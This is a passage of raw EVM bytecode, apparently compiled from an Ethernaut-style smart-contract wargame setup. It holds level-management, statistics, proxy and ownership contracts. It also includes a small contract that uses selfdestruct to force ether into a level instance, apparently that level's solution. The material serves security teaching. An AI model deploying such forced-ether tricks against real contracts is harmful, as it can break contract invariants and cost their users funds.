1cdc565b50505f910152565b5f815180845262001d1781602086016020860162001cda565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001ddf57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001dc857605f1988850301835262001db584865162001cfe565b948d01949350918c019160010162001d96565b505050968901969350509087019060010162001d50565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ead57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001e975783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e53565b5096890196945050509086019060010162001e15565b509098975050505050505050565b5f6020828403121562001ecc575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f2c57603f1988860301845262001f1985835162001cfe565b9450928501929085019060010162001efa565b5092979650505050505050565b5f6020828403121562001f4a575f80fd5b8135620019f68162001b14565b5f806040838503121562001f69575f80fd5b823562001f768162001b14565b9150602083013562001f888162001b14565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fc35762001fc362001bba565b5060051b60200190565b5f62001fdd62001ca28462001c2e565b905082815283838301111562001ff1575f80fd5b620019f683602083018462001cda565b5f82601f83011262002011575f80fd5b620019f68383516020850162001fcd565b80516200202f8162001b14565b919050565b5f602080838503121562002046575f80fd5b825167ffffffffffffffff808211156200205e575f80fd5b818501915085601f83011262002072575f80fd5b81516200208362001ca28262001fa7565b81815260059190911b83018401908481019088831115620020a2575f80fd5b8585015b83811015620021a357805185811115620020be575f80fd5b86016060818c03601f19011215620020d4575f80fd5b620020de62001bce565b8882015187811115620020ef575f80fd5b8201603f81018d1362002100575f80fd5b898101516200211362001ca28262001fa7565b81815260059190911b8201604001908b8101908f83111562002133575f80fd5b6040840193505b82841015620021555783518252928c0192908c01906200213a565b84525050506040820151878111156200216c575f80fd5b6200217c8d8b8386010162002001565b8a830152506200218f6060830162002022565b6040820152845250918601918601620020a6565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200163f576200163f620021b0565b5f60208284031215620021eb575f80fd5b815167ffffffffffffffff81111562002202575f80fd5b8201601f8101841362002213575f80fd5b620022248482516020840162001fcd565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200226581600585016020880162001cda565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022a481600a84016020880162001cda565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620022ed81846020880162001cda565b8351908301906200230381836020880162001cda565b01949350505050565b602081525f620019f6602083018462001cfe565b600181811c908216806200233557607f821691505b6020821081036200235457634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156200236b575f80fd5b8151620019f68162001b14565b5f6020828403121562002389575f80fd5b5051919050565b808201808211156200163f576200163f620021b0565b604081525f620023ba604083018562001cfe565b8281036020840152620023ce818562001cfe565b95945050505050565b5f60208284031215620023e8575f80fd5b815167ffffffffffffffff811115620023ff575f80fd5b62002224848285016200200156fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6103b38061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100f8575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b50610070610117565b005b6100856100803660046102cc565b61012a565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100e86100d83660046102ee565b506001600160a01b031631151590565b6040519015158152602001610099565b348015610103575f80fd5b506100706101123660046102cc565b610157565b61011f6101ec565b6101285f610245565b565b5f604051610137906102ac565b604051809103905ff080158015610150573d5f803e3d5ffd5b5092915050565b61015f6101ec565b6001600160a01b0381166101e05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6101e981610245565b50565b5f546001600160a01b031633146101285760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016101d7565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60588061032683390190565b6001600160a01b03811681146101e9575f80fd5b5f602082840312156102dc575f80fd5b81356102e7816102b8565b9392505050565b5f80604083850312156102ff575f80fd5b823561030a816102b8565b9150602083013561031a816102b8565b80915050925092905056fe6080604052348015600e575f80fd5b50603e80601a5f395ff3fe60806040525f80fdfea2646970667358221220e3b0b9bf7dd6f741bba8d6f65db7b1b33c574ceb32447d884b9ba5c775b7c31664736f6c63430008180033a264697066735822122079ada73133760e82526fe0ca66c958298baba94710f2bf55a5806189af62334e64736f6c63430008180033608060405260cb806100105f395ff3fe608060405260043610601e575f3560e01c8063d018db3e146028575f80fd5b36602457005b5f80fd5b3480156032575f80fd5b506042603e366004605d565b6044565b005b8073ffffffffffffffffffffffffffffffffffffffff16ff5b5f60208284031215606c575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114608e575f80fd5b939250505056fea26469706673582212207cce0460ddd4d0b2b85c764928af587d5cc26cf5d939c1e9048f68b0ff624b9064736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f